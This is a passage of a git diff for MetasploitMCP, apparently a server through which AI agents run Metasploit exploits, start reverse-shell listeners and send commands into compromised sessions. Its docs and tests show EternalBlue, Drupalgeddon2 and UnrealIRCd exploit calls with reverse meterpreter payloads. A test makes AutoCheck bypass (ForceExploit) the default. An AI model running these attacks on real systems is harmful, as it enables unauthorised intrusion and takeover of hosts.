only result = await start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", # External IP advertised to target lport=4444, - reverse_listener_bind_address="127.0.0.1", # Bind only to localhost - reverse_listener_bind_port=8080 # Use different port for binding + reverselistenerbindaddress="127.0.0.1", # Bind only to localhost + reverselistenerbindport=8080 # Use different port for binding ) # Checks: 127.0.0.1:8080 (not 0.0.0.0:4444) ``` @@ -132,7 +132,7 @@ tcp6 0 0 :::80 :::* LISTEN 1234/apache2 # Try to start listener on port 80 await start_listener( - payload_type="cmd/unix/reverse_bash", + payload="cmd/unix/reverse_bash", lhost="10.0.0.1", lport=80 ) @@ -168,9 +168,9 @@ await start_listener("windows/meterpreter/reverse_tcp", "10.0.0.1", 4444) # Try to run exploit with same port (will fail!) await run_exploit( - module_name="exploit/windows/smb/ms17_010_eternalblue", + module="exploit/windows/smb/ms17_010_eternalblue", options={"RHOSTS": "192.168.1.10"}, - payload_name="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", payload_options={"LHOST": "10.0.0.1", "LPORT": 4444} ) # Error: Port 4444 already in use @@ -235,7 +235,7 @@ Port checks are fast (< 1ms typically) and non-blocking: **Cause:** The port might be bound to a specific interface that you're checking. -**Solution:** Try binding to a specific interface with `reverse_listener_bind_address`. +**Solution:** Try binding to a specific interface with `reverselistenerbindaddress`. ### Port check passes but Metasploit fails to bind diff --git a/docs/TROUBLESHOOTING.md b/docs/TROUBLESHOOTING.md index 7850c75..8a6abaf 100644 --- a/docs/TROUBLESHOOTING.md +++ b/docs/TROUBLESHOOTING.md @@ -165,22 +165,22 @@ Move payload-specific options to `payload_options`: ```python # ❌ WRONG await run_exploit( - module_name='exploit/unix/irc/unreal_ircd_3281_backdoor', + module='exploit/unix/irc/unreal_ircd_3281_backdoor', options={ 'RHOSTS': '10.0.2.15', 'LHOST': '10.0.0.1', # ❌ Wrong location 'LPORT': 4444 # ❌ Wrong location }, - payload_name='cmd/unix/reverse' + payload='cmd/unix/reverse' ) # ✅ CORRECT await run_exploit( - module_name='exploit/unix/irc/unreal_ircd_3281_backdoor', + module='exploit/unix/irc/unreal_ircd_3281_backdoor', options={ 'RHOSTS': '10.0.2.15' }, - payload_name='cmd/unix/reverse', + payload='cmd/unix/reverse', payload_options={ 'LHOST': '10.0.0.1', # ✅ Correct location 'LPORT': 4444 # ✅ Correct location @@ -228,6 +228,7 @@ Cannot start listener: Port 4444 is already in use on 0.0.0.0 2. **Firewall:** Blocking reverse connections 3. **Wrong LHOST:** Not reachable from target 4. **Service not vulnerable:** Target may be patched +5. **AutoCheck aborted the exploit:** Metasploit stopped due to an inconclusive check **Debugging Steps:** @@ -250,6 +251,17 @@ Cannot start listener: Port 4444 is already in use on 0.0.0.0 nmap -sV -p TARGET_PORTS TARGET_IP ``` +4. **Bypass AutoCheck when appropriate:** + ```python + await run_exploit( + module="exploit/unix/webapp/drupal_drupalgeddon2", + options={"RHOSTS": "192.168.1.50", "TARGETURI": "/"}, + payload="php/meterpreter/reverse_tcp", + payload_options={"LHOST": "192.168.1.10", "LPORT": 4444}, + force_exploit=True, + ) + ``` + ## Listener Issues ### Duplicate Listener Error diff --git a/probe_session_channel.py b/probe_session_channel.py new file mode 100644 index 0000000..478b680 --- /dev/null +++ b/probe_session_channel.py @@ -0,0 +1,136 @@ +#!/usr/bin/env python3 +"""Live probe for session channel read strategies. + +Opt-in helper for debugging real Metasploit RPC session behavior. This script is +never used by CI and exits immediately when CI is detected. +""" + +from __future__ import annotations + +import argparse +import asyncio +import json +import os +from datetime import datetime, timezone +from pathlib import Path +from typing import Any, Dict, List + +import MetasploitMCP as mcp_module + + +def _parse_args() -> argparse.Namespace: + parser = argparse.ArgumentParser(description="Probe Metasploit session command read strategies") + parser.add_argument("--session-id", type=int, required=True, help="Metasploit session ID") + parser.add_argument("--command", required=True, help="Command to run") + parser.add_argument("--timeout", type=int, default=30, help="Hard timeout seconds") + parser.add_argument("--inactivity-timeout", type=int, default=10, help="Inactivity timeout seconds") + parser.add_argument( + "--output-jsonl", + default="probe-session-channel.jsonl", + help="JSONL output path (relative or absolute)", + ) + return parser.parse_args() + + +async def _get_session_object(session_id: int) -> Any: + client = mcp_module.get_msf_client() + sessions = await mcp_module._list_sessions_str_keys(client) + session_id_str = str(session_id) + if session_id_str not in sessions: + raise RuntimeError(f"Session {session_id} was not found in client.sessions.list") + return await mcp_module._get_session_object_from_map( + client=client, + sessions_by_str_id=sessions, + session_id_str=session_id_str, + ) + + +async def _strategy_drive_shell(session: Any, session_id: int, command: str, timeout: int, inactivity: int) -> Dict[str, Any]: + return await mcp_module._drive_shell_command( + session=session, + command=command, + timeout_seconds=timeout, + inactivity_timeout_seconds=inactivity, + session_id=session_id, + ) + + +async def _strategy_run_with_output(session: Any, command: str, timeout: int) -> Dict[str, Any]: + if not hasattr(session, "run_with_output"): + return {"status": "unsupported", "reason": "missing_run_with_output", "output": ""} + output = await asyncio.wait_for( + asyncio.to_thread(lambda: session.run_with_output(command, end_strs=["$ ", "# ", "> "])), + timeout=timeout, + ) + return {"status": "success", "reason": "run_with_output", "output": output} + + +async def _strategy_meterpreter_shell_helper(session: Any, command: str, timeout: int) -> Dict[str, Any]: + if not hasattr(session, "run_shell_cmd_with_output"): + return {"status": "unsupported", "reason": "missing_run_shell_cmd_with_output", "output": ""} + output = await asyncio.wait_for( + asyncio.to_thread(lambda: session.run_shell_cmd_with_output(command, timeout=timeout)), + timeout=timeout, + ) + return {"status": "success", "reason": "run_shell_cmd_with_output", "output": output} + + +async def _run_probe(args: argparse.Namespace) -> List[Dict[str, Any]]: + session = await _get_session_object(args.session_id) + strategies = [ + ("drive_shell_loop", _strategy_drive_shell(session, args.session_id, args.command, args.timeout, args.inactivity_timeout)), + ("run_with_output", _strategy_run_with_output(session, args.command, args.timeout)), + ("run_shell_cmd_with_output", _strategy_meterpreter_shell_helper(session, args.command, args.timeout)), + ] + rows: List[Dict[str, Any]] = [] + for strategy_name, coro in strategies: + started = datetime.now(timezone.utc).isoformat() + try: + result = await coro + row = { + "timestamp": started, + "strategy": strategy_name, + "status": result.get("status", "unknown"), + "reason": result.get("reason", ""), + "output": result.get("output", ""), + "output_len": len(result.get("output", "")), + "meterpreter_errors": result.get("meterpreter_errors", []), + "chunks_read": result.get("chunks_read"), + "bytes_read": result.get("bytes_read"), + } + except Exception as exc: # pragma: no cover - this is a live probe utility + row = { + "timestamp": started, + "strategy": strategy_name, + "status": "error", + "reason": "exception", + "error": repr(exc), + "output": "", + "output_len": 0, + } + rows.append(row) + return rows + + +def _write_jsonl(path: Path, rows: List[Dict[str, Any]]) -> None: + path.parent.mkdir(parents=True, exist_ok=True) + with path.open("a", encoding="utf-8") as handle: + for row in rows: + handle.write(json.dumps(row, ensure_ascii=True) + "\n") + + +def main() -> int: + if os.environ.get("CI", "").lower() in {"1", "true", "yes"}: + print("Refusing to run probe_session_channel.py in CI.") + return 0 + + args = _parse_args() + output_path = Path(args.output_jsonl).expanduser().resolve() + rows = asyncio.run(_run_probe(args)) + _write_jsonl(output_path, rows) + print(f"Wrote {len(rows)} probe rows to {output_path}") + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/tests/test_docstrings.py b/tests/test_docstrings.py index 1ab902b..8f4dc10 100644 --- a/tests/test_docstrings.py +++ b/tests/test_docstrings.py @@ -159,8 +159,8 @@ def test_run_exploit_parameters_documented(self): docstring = get_function_description(MetasploitMCP.run_exploit) # Check that key parameters are mentioned in docstring - assert "module_name" in docstring, "module_name parameter should be documented" - assert "payload_name" in docstring, "payload_name parameter should be documented" + assert "module" in docstring, "module parameter should be documented" + assert "payload" in docstring, "payload parameter should be documented" assert "payload_options" in docstring, "payload_options parameter should be documented" def test_start_listener_parameters_documented(self): @@ -168,7 +168,7 @@ def test_start_listener_parameters_documented(self): docstring = get_function_description(MetasploitMCP.start_listener) # Check that key parameters are mentioned in docstring - assert "payload_type" in docstring, "payload_type parameter should be documented" + assert "payload" in docstring, "payload parameter should be documented" assert "lhost" in docstring, "lhost parameter should be documented" assert "lport" in docstring, "lport parameter should be documented" @@ -177,8 +177,8 @@ def test_generate_payload_parameters_documented(self): docstring = get_function_description(MetasploitMCP.generate_payload) # Check that key parameters are mentioned in docstring - assert "payload_type" in docstring, "payload_type parameter should be documented" - assert "format_type" in docstring, "format_type parameter should be documented" + assert "payload" in docstring, "payload parameter should be documented" + assert "format" in docstring, "format parameter should be documented" assert "options" in docstring, "options parameter should be documented" diff --git a/tests/test_force_exploit_autocheck.py b/tests/test_force_exploit_autocheck.py new file mode 100644 index 0000000..b95cf22 --- /dev/null +++ b/tests/test_force_exploit_autocheck.py @@ -0,0 +1,158 @@ +import sys +import time +from pathlib import Path +from unittest.mock import AsyncMock, MagicMock, patch + +import pytest + +METASPLOIT_DIR = Path(__file__).resolve().parents[1] +if METASPLOIT_DIR.exists(): + sys.path.insert(0, str(METASPLOIT_DIR)) + +metasploit_mcp = pytest.importorskip( + "MetasploitMCP", + reason="MetasploitMCP checkout is not present in this repository CI run", +) + + +def _make_module(fullname: str) -> MagicMock: + module_obj = MagicMock() + module_obj.fullname = fullname + return module_obj + + +@pytest.mark.asyncio +async def test_run_exploit_force_exploit_injected_by_default(monkeypatch): + exploit_module = _make_module("exploit/unix/webapp/drupal_drupalgeddon2") + monkeypatch.setattr(metasploit_mcp, "_get_module_object", AsyncMock(return_value=exploit_module)) + + with patch.object(metasploit_mcp, "_execute_module_rpc", return_value={"status": "success"}): + result = await metasploit_mcp.run_exploit( + module="exploit/unix/webapp/drupal_drupalgeddon2", + options={"RHOSTS": "192.0.2.10"}, + run_as_job=True, + ) + + assert result["status"] == "success" + called_options = metasploit_mcp._execute_module_rpc.call_args.kwargs["module_options"] + assert called_options["ForceExploit"] is True + assert called_options["AutoCheck"] is False + + +@pytest.mark.asyncio +async def test_run_exploit_force_exploit_false_preserves_options(monkeypatch): + exploit_module = _make_module("exploit/unix/webapp/drupal_drupalgeddon2") + monkeypatch.setattr(metasploit_mcp, "_get_module_object", AsyncMock(return_value=exploit_module)) + + with patch.object(metasploit_mcp, "_execute_module_rpc", return_value={"status": "success"}): + result = await metasploit_mcp.run_exploit( + module="exploit/unix/webapp/drupal_drupalgeddon2", + options={"RHOSTS": "192.0.2.10"}, + run_as_job=True, + force_exploit=False, + ) + + assert result["status"] == "success" + called_options = metasploit_mcp._execute_module_rpc.call_args.kwargs["module_options"] + assert "ForceExploit" not in called_options + assert "AutoCheck" not in called_options + + +@pytest.mark.asyncio +async def test_execute_module_rpc_reports_autocheck_abort_early(monkeypatch): + client = MagicMock() + client.sessions.list = {} + client.jobs.info_by_uuid = MagicMock(return_value={}) + client.jobs.stop = MagicMock(return_value=None) + + def call_side_effect(method, args=None): + if method == "module.running_stats": + return {"running": [], "waiting": [], "results": ["abc"]} + if method == "db.events": + return { + "events": [ + { + "name": "module_error", + "info": { + "module_uuid": "abc", + "exception": 'Cannot reliably check exploitability. "set ForceExploit true" to override check result.', + }, + } + ] + } + return {} + + client.call = MagicMock(side_effect=call_side_effect) + + exploit_module = _make_module("exploit/unix/webapp/drupal_drupalgeddon2") + exploit_module.execute = MagicMock(return_value={"job_id": 1, "uuid": "abc"}) + payload_module = _make_module("payload/php/meterpreter/reverse_tcp") + + async def get_module_object_stub(module_type, _module_name): + return payload_module if module_type == "payload" else exploit_module + + monkeypatch.setattr(metasploit_mcp, "get_msf_client", lambda: client) + monkeypatch.setattr( + metasploit_mcp, + "_get_module_object", + AsyncMock(side_effect=get_module_object_stub), + ) + monkeypatch.setattr(metasploit_mcp, "_set_module_options", AsyncMock()) + monkeypatch.setattr(metasploit_mcp, "EXPLOIT_SESSION_POLL_INTERVAL", 0) + + start = time.monotonic() + result = await metasploit_mcp._execute_module_rpc( + module_type="exploit", + module_name="exploit/unix/webapp/drupal_drupalgeddon2", + module_options={"RHOSTS": "192.0.2.10", "ForceExploit": True, "AutoCheck": False}, + payload_spec={"name": "php/meterpreter/reverse_tcp", "options": {"LHOST": "192.0.2.5", "LPORT": 4444}}, + ) + elapsed = time.monotonic() - start + + assert result["status"] == "error" + assert "Cannot reliably check exploitability" in result["message"] + assert result["exploit_error"].startswith("Cannot reliably check exploitability") + assert elapsed < 1.0 + + +@pytest.mark.asyncio +async def test_warning_message_includes_force_exploit_hint(monkeypatch): + client = MagicMock() + client.sessions.list = {} + client.jobs.info_by_uuid = MagicMock(return_value={}) + client.jobs.stop = MagicMock(return_value=None) + + def call_side_effect(method, args=None): + if method == "module.running_stats": + return {"running": ["abc"], "waiting": [], "results": []} + if method == "db.events": + return {"events": []} + return {} + + client.call = MagicMock(side_effect=call_side_effect) + + exploit_module = _make_module("exploit/unix/webapp/drupal_drupalgeddon2") + exploit_module.execute = MagicMock(return_value={"job_id": 1, "uuid": "abc"}) + payload_module = _make_module("payload/php/meterpreter/reverse_tcp") + + async def get_module_object_stub(module_type, _module_name): + return payload_module if module_type == "payload" else exploit_module + + monkeypatch.setattr(metasploit_mcp, "get_msf_client", lambda: client) + monkeypatch.setattr( + metasploit_mcp, + "_get_module_object", + AsyncMock(side_effect=get_module_object_stub), + ) + monkeypatch.setattr(metasploit_mcp, "_set_module_options", AsyncMock()) + monkeypatch.setattr(metasploit_mcp, "EXPLOIT_SESSION_POLL_TIMEOUT", 0) + + result = await metasploit_mcp._execute_module_rpc( + module_type="exploit", + module_name="exploit/unix/webapp/drupal_drupalgeddon2", + module_options={"RHOSTS": "192.0.2.10"}, + payload_spec={"name": "php/meterpreter/reverse_tcp", "options": {"LHOST": "192.0.2.5", "LPORT": 4444}}, + ) + + assert result["status"] == "warning" + assert "ForceExploit=true" in result["message"] diff --git a/tests/test_ip_validation.py b/tests/test_ip_validation.py index bcc64e0..1cf7e09 100644 --- a/tests/test_ip_validation.py +++ b/tests/test_ip_validation.py @@ -34,7 +34,6 @@ def decorator(func): mcp_server_fastmcp.FastMCP = MockFastMCP sys.modules['mcp.server.fastmcp'] = mcp_server_fastmcp sys.modules['mcp.server.sse'] = Mock() -sys.modules['mcp.server.session'] = Mock() # Mock pymetasploit3 module sys.modules['pymetasploit3.msfrpc'] = Mock() @@ -99,55 +98,62 @@ def test_get_local_ip_addresses_deduplication(self): class TestValidateBindAddress: """Test the validate_bind_address function.""" - def test_validate_wildcard_ipv4(self): + @pytest.mark.asyncio + async def test_validate_wildcard_ipv4(self): """Test validation of IPv4 wildcard address.""" - is_valid, error_msg = validate_bind_address("0.0.0.0") + is_valid, error_msg = await validate_bind_address("0.0.0.0") assert is_valid is True assert error_msg == "" - def test_validate_wildcard_ipv6(self): + @pytest.mark.asyncio + async def test_validate_wildcard_ipv6(self): """Test validation of IPv6 wildcard address.""" - is_valid, error_msg = validate_bind_address("::") + is_valid, error_msg = await validate_bind_address("::") assert is_valid is True assert error_msg == "" - def test_validate_empty_address(self): + @pytest.mark.asyncio + async def test_validate_empty_address(self): """Test validation of empty address.""" - is_valid, error_msg = validate_bind_address("") + is_valid, error_msg = await validate_bind_address("") assert is_valid is False assert "cannot be empty" in error_msg - def test_validate_invalid_format(self): + @pytest.mark.asyncio + async def test_validate_invalid_format(self): """Test validation of invalid IP format.""" - is_valid, error_msg = validate_bind_address("invalid.ip.address") + is_valid, error_msg = await validate_bind_address("invalid.ip.address") assert is_valid is False assert "Invalid IP address format" in error_msg - def test_validate_local_address(self): + @pytest.mark.asyncio + async def test_validate_local_address(self): """Test validation of local IP address.""" with patch('MetasploitMCP.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100', '::1']): - is_valid, error_msg = validate_bind_address("192.168.1.100") + is_valid, error_msg = await validate_bind_address("192.168.1.100") assert is_valid is True assert error_msg == "" - def test_validate_non_local_address(self): + @pytest.mark.asyncio + async def test_validate_non_local_address(self): """Test validation of non-local IP address.""" with patch('MetasploitMCP.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100', '::1']): - is_valid, error_msg = validate_bind_address("8.8.8.8") + is_valid, error_msg = await validate_bind_address("8.8.8.8") assert is_valid is False assert "not configured on this machine" in error_msg assert "Available addresses:" in error_msg - def test_validate_loopback_addresses(self): + @pytest.mark.asyncio + async def test_validate_loopback_addresses(self): """Test validation of loopback addresses.""" with patch('MetasploitMCP.get_local_ip_addresses', return_value=['127.0.0.1', '::1']): # IPv4 loopback - is_valid, error_msg = validate_bind_address("127.0.0.1") + is_valid, error_msg = await validate_bind_address("127.0.0.1") assert is_valid is True assert error_msg == "" # IPv6 loopback - is_valid, error_msg = validate_bind_address("::1") + is_valid, error_msg = await validate_bind_address("::1") assert is_valid is True assert error_msg == "" @@ -176,10 +182,10 @@ async def test_start_listener_valid_bind_address(self, mock_environment): with patch('MetasploitMCP.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100']): result = await MetasploitMCP.start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - reverse_listener_bind_address="127.0.0.1" + reverselistenerbindaddress="127.0.0.1" ) assert result["status"] == "success" @@ -191,10 +197,10 @@ async def test_start_listener_invalid_bind_address(self, mock_environment): with patch('MetasploitMCP.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100']): result = await MetasploitMCP.start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - reverse_listener_bind_address="8.8.8.8" # Invalid - not local + reverselistenerbindaddress="8.8.8.8" # Invalid - not local ) assert result["status"] == "error" @@ -206,10 +212,10 @@ async def test_start_listener_wildcard_bind_address(self, mock_environment): mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment result = await MetasploitMCP.start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - reverse_listener_bind_address="0.0.0.0" # Wildcard should always be valid + reverselistenerbindaddress="0.0.0.0" # Wildcard should always be valid ) assert result["status"] == "success" @@ -220,7 +226,7 @@ async def test_start_listener_default_bind_address(self, mock_environment): mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment result = await MetasploitMCP.start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444 # No reverse_listener_bind_address provided - should default to 0.0.0.0 @@ -234,10 +240,10 @@ async def test_start_listener_invalid_bind_port(self, mock_environment): mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment result = await MetasploitMCP.start_listener( - payload_type="windows/meterpreter/reverse_tcp", + payload="windows/meterpreter/reverse_tcp", lhost="192.168.1.100", lport=4444, - reverse_listener_bind_port=99999 # Invalid port + reverselistenerbindport=99999 # Invalid port ) assert result["status"] == "error" @@ -255,10 +261,10 @@ async def test_generate_payload_valid_bind_address(self, mock_environment): mock_open.return_value.__enter__.return_value.write = Mock() result = await MetasploitMCP.generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options={"LHOST": "192.168.1.100", "LPORT": 4444}, - reverse_listener_bind_address="127.0.0.1" + reverselistenerbindaddress="127.0.0.1" ) assert result["status"] == "success" @@ -270,10 +276,10 @@ async def test_generate_payload_invalid_bind_address(self, mock_environment): with patch('MetasploitMCP.get_local_ip_addresses', return_value=['127.0.0.1', '192.168.1.100']): result = await MetasploitMCP.generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options={"LHOST": "192.168.1.100", "LPORT": 4444}, - reverse_listener_bind_address="8.8.8.8" # Invalid - not local + reverselistenerbindaddress="8.8.8.8" # Invalid - not local ) assert result["status"] == "error" @@ -290,8 +296,8 @@ async def test_generate_payload_default_bind_address(self, mock_environment): mock_open.return_value.__enter__.return_value.write = Mock() result = await MetasploitMCP.generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options={"LHOST": "192.168.1.100", "LPORT": 4444} # No reverse_listener_bind_address provided - should default to 0.0.0.0 ) @@ -304,10 +310,10 @@ async def test_generate_payload_invalid_bind_port(self, mock_environment): mock_rpc, mock_get_module, mock_set_options, mock_module = mock_environment result = await MetasploitMCP.generate_payload( - payload_type="windows/meterpreter/reverse_tcp", - format_type="exe", + payload="windows/meterpreter/reverse_tcp", + format="exe", options={"LHOST": "192.168.1.100", "LPORT": 4444}, - reverse_listener_bind_port=99999 # Invalid port + reverselistenerbindport=99999 # Invalid port ) assert result["status"] == "error" diff --git a/tests/test_metasploitable3_harness.py b/tests/test_metasploitable3_harness.py index 24430b9..9ceebb8 100644 --- a/tests/test_metasploitable3_harness.py +++ b/tests/test_metasploitable3_harness.py @@ -166,15 +166,15 @@ async def test_run_exploit(self, client): """Test run_exploit wrapper method.""" with patch.object(client, 'call_tool', new=AsyncMock(return_value={"success": True})) as mock_call: await client.run_exploit( - module_name="exploit/test", + module="exploit/test", options={"RHOSTS": "10.0.0.1"}, - payload_name="test/payload" + payload="test/payload" ) mock_call.assert_called_once_with("run_exploit", { - "module_name": "exploit/test", + "module": "exploit/test", "options": {"RHOSTS": "10.0.0.1"}, - "payload_name": "test/payload" + "payload": "test/payload" }) @pytest.mark.asyncio @@ -200,13 +200,13 @@ async def test_start_listener(self, client): """Test start_listener wrapper method.""" with patch.object(client, 'call_tool', new=AsyncMock(return_value={"job_id": 1})) as mock_call: await client.start_listener( - payload_type="linux/x86/meterpreter/reverse_tcp", + payload="linux/x86/meterpreter/reverse_tcp", lhost="10.0.0.1", lport=4444 ) mock_call.assert_called_once_with("start_listener", { - "payload_type": "linux/x86/meterpreter/reverse_tcp", + "payload": "linux/x86/meterpreter/reverse_tcp", "lhost": "10.0.0.1", "lport": 4444 }) diff --git a/tests/test_payload_listing_improvements.py b/tests/test_payload_listing_improvements.py index 6331828..b6a4052 100644 --- a/tests/test_payload_listing_improvements.py +++ b/tests/test_payload_listing_improvements.py @@ -1,7 +1,7 @@ #!/usr/bin/env python3 """ Tests for the enhanced payload listing functionality. -Tests the new exploit_module parameter and improved error messages. +Tests the compatible_with parameter and improved error messages. """ import pytest @@ -14,7 +14,7 @@ def test_list_payloads_signature(): - """Test that list_payloads has the correct signature with exploit_module and search_term parameters.""" + """Test that list_payloads has the correct signature with compatible_with and search parameters.""" # Mock dependencies before importing sys.modules['fastmcp'] = Mock() sys.modules['pymetasploit3.msfrpc'] = Mock() @@ -54,8 +54,8 @@ def test_list_payloads_signature(): # Check for expected parameters assert 'platform' in params, "platform parameter should exist" assert 'arch' in params, "arch parameter should exist" - assert 'exploit_module' in params, "exploit_module parameter should be added" - assert 'search_term' in params, "search_term parameter should be added" + assert 'compatible_with' in params, "compatible_with parameter should be added" + assert 'search' in params, "search parameter should be added" print(f"✓ list_payloads has correct signature: {params}") except Exception as e: @@ -72,10 +72,10 @@ def test_invalid_payload_error_message_format(): # Simulated error message error_msg = f"Invalid payload specified: {payload_name}. " - error_msg += f"To view compatible payloads for this exploit, use: list_payloads(exploit_module='{module_name}'). " + error_msg += f"To view compatible payloads for this exploit, use: list_payloads(compatible_with='{module_name}'). " assert "list_payloads" in error_msg - assert "exploit_module" in error_msg + assert "compatible_with" in error_msg assert module_name in error_msg assert payload_name in error_msg @@ -91,27 +91,27 @@ def test_console_payload_error_message_format(): # Simulated console error message error_msg = f"Error during setup command '{cmd}': {setup_output}" base_module_name = module_name - error_msg += f"\n\nTo view compatible payloads for this exploit, use: list_payloads(exploit_module='{base_module_name}')" + error_msg += f"\n\nTo view compatible payloads for this exploit, use: list_payloads(compatible_with='{base_module_name}')" assert "list_payloads" in error_msg - assert "exploit_module" in error_msg + assert "compatible_with" in error_msg assert base_module_name in error_msg print(f"✓ Console error message format is correct") def test_compatible_payloads_access_pattern(): - """Test that we correctly access the compatible_payloads attribute.""" + """Test that we correctly access the payloads attribute.""" # Create a mock module object mock_module = Mock() mock_module.fullname = "exploit/windows/smb/ms17_010_eternalblue" - mock_module.compatible_payloads = [ + mock_module.payloads = [ 'windows/x64/meterpreter/reverse_tcp', 'windows/x64/shell/reverse_tcp' ] - # Simulate accessing compatible_payloads - payloads = mock_module.compatible_payloads + # Simulate accessing payloads + payloads = mock_module.payloads assert isinstance(payloads, list) assert len(payloads) == 2 @@ -121,17 +121,15 @@ def test_compatible_payloads_access_pattern(): def test_attribute_error_handling(): - """Test that AttributeError is handled when compatible_payloads doesn't exist.""" - # Create a mock module without compatible_payloads - mock_module = Mock() - mock_module.fullname = "exploit/unix/ftp/vsftpd_234_backdoor" + """Test that AttributeError is handled when payloads doesn't exist.""" + class SimpleModule: + fullname = "exploit/unix/ftp/vsftpd_234_backdoor" - # Remove the compatible_payloads attribute - del mock_module.compatible_payloads + mock_module = SimpleModule() - # Test that accessing it raises AttributeError + # Test that accessing a missing attribute raises AttributeError with pytest.raises(AttributeError): - _ = mock_module.compatible_payloads + _ = mock_module.payloads print(f"✓ AttributeError handling pattern is correct") @@ -157,7 +155,7 @@ def test_module_name_extraction(): def test_search_term_simple_match(): - """Test that search_term filters payloads with simple substring matching.""" + """Test that search filters payloads with simple substring matching.""" # Sample payloads all_payloads = [ 'windows/x64/meterpreter/reverse_tcp', @@ -168,18 +166,18 @@ def test_search_term_simple_match(): ] # Test simple search - search_term = 'meterpreter' - filtered = [p for p in all_payloads if search_term.lower() in p.lower()] + search = 'meterpreter' + filtered = [p for p in all_payloads if search.lower() in p.lower()] assert len(filtered) == 2 assert 'windows/x64/meterpreter/reverse_tcp' in filtered assert 'linux/x86/meterpreter/reverse_tcp' in filtered - print(f"✓ Simple search_term filtering works: '{search_term}' found {len(filtered)} payloads") + print(f"✓ Simple search filtering works: '{search}' found {len(filtered)} payloads") def test_search_term_wildcard_match(): - """Test that search_term supports wildcard matching with *.""" + """Test that search supports wildcard matching with *.""" import re # Sample payloads @@ -192,8 +190,8 @@ def test_search_term_wildcard_match(): ] # Test wildcard search - search_term = '*/reverse*' - pattern = re.compile(search_term.lower().replace('*', '.*')) + search = '*/reverse*' + pattern = re.compile(search.lower().replace('*', '.*')) filtered = [p for p in all_payloads if pattern.search(p.lower())] assert len(filtered) == 5 # All payloads have 'reverse' in the name @@ -201,11 +199,11 @@ def test_search_term_wildcard_match(): assert 'windows/reverse_powershell' in filtered assert 'windows/x64/meterpreter/reverse_tcp' in filtered - print(f"✓ Wildcard search_term filtering works: '{search_term}' found {len(filtered)} payloads") + print(f"✓ Wildcard search filtering works: '{search}' found {len(filtered)} payloads") def test_search_term_path_pattern(): - """Test that search_term can match payload path patterns like 'linux/x86'.""" + """Test that search can match payload path patterns like 'linux/x86'.""" # Sample payloads all_payloads = [ 'unix/reverse_bash', @@ -216,25 +214,29 @@ def test_search_term_path_pattern(): ] # Test path pattern search - search_term = 'linux/x86' - filtered = [p for p in all_payloads if search_term.lower() in p.lower()] + search = 'linux/x86' + filtered = [p for p in all_payloads if search.lower() in p.lower()] assert len(filtered) == 1 assert 'linux/x86/meterpreter/reverse_tcp' in filtered - print(f"✓ Path pattern search_term filtering works: '{search_term}' found {len(filtered)} payloads") + print(f"✓ Path pattern search filtering works: '{search}' found {len(filtered)} payloads") def test_incompatible_payloads_error_message(): - """Test that error message is returned when exploit module doesn't support compatible_payloads.""" + """Test that error message is returned when exploit module doesn't expose payloads.""" exploit_module = 'exploit/multi/http/apache_mod_cgi_bash_env_exec' # Expected error message format - expected_error = f"Error: Exploit module '{exploit_module}' doesn't support querying compatible payloads. Use list_payloads without exploit_module parameter to search all payloads, then manually select appropriate payloads for your exploit." + expected_error = ( + f"Error: Exploit module '{exploit_module}' does not expose compatible payloads. " + "Use list_payloads without compatible_with to search all payloads, then manually " + "select appropriate payloads for your exploit." + ) # Verify the error message contains key information - assert "doesn't support querying compatible payloads" in expected_error - assert "Use list_payloads without exploit_module parameter" in expected_error + assert "compatible payloads" in expected_error + assert "compatible_with" in expected_error assert exploit_module in expected_error assert "manually select appropriate payloads" in expected_error @@ -242,7 +244,7 @@ def test_incompatible_payloads_error_message(): def test_combined_filters(): - """Test that search_term works in combination with other filters.""" + """Test that search works in combination with other filters.""" # Sample payloads all_payloads = [ 'windows/x64/meterpreter/reverse_tcp', @@ -256,14 +258,14 @@ def test_combined_filters(): platform = 'linux' filtered = [p for p in all_payloads if p.lower().startswith(platform + '/') or f"/{platform}/" in p.lower()] - # Then filter by search_term - search_term = 'meterpreter' - filtered = [p for p in filtered if search_term.lower() in p.lower()] + # Then filter by search + search = 'meterpreter' + filtered = [p for p in filtered if search.lower() in p.lower()] assert len(filtered) == 1 assert 'linux/x86/meterpreter/reverse_tcp' in filtered - print(f"✓ Combined filters work: platform='{platform}' + search='{search_term}' found {len(filtered)} payloads") + print(f"✓ Combined filters work: platform='{platform}' + search='{search}' found {len(filtered)} payloads") if __name__ == "__main__": diff --git a/tests/test_port_availability.py b/tests/test_port_availability.py index 437d860..602a69b 100644 --- a/tests/test_port_availability.py +++ b/tests/test_port_availability.py @@ -46,26 +46,28 @@ def decorator(func): import MetasploitMCP from MetasploitMCP import check_port_available +pytestmark = pytest.mark.asyncio + class TestCheckPortAvailableReturnType: """Test that check_port_available always returns Tuple[bool, str].""" - def test_return_type_is_tuple(self): + async def test_return_type_is_tuple(self): """Test that the function returns a tuple.""" - result = check_port_available(8080, '0.0.0.0') + result = await check_port_available(8080, '0.0.0.0') assert isinstance(result, tuple), f"Expected tuple, got {type(result)}" assert len(result) == 2, f"Expected tuple of length 2, got {len(result)}" - def test_return_type_has_correct_types(self): + async def test_return_type_has_correct_types(self): """Test that the tuple contains bool and str.""" - result = check_port_available(8080, '0.0.0.0') + result = await 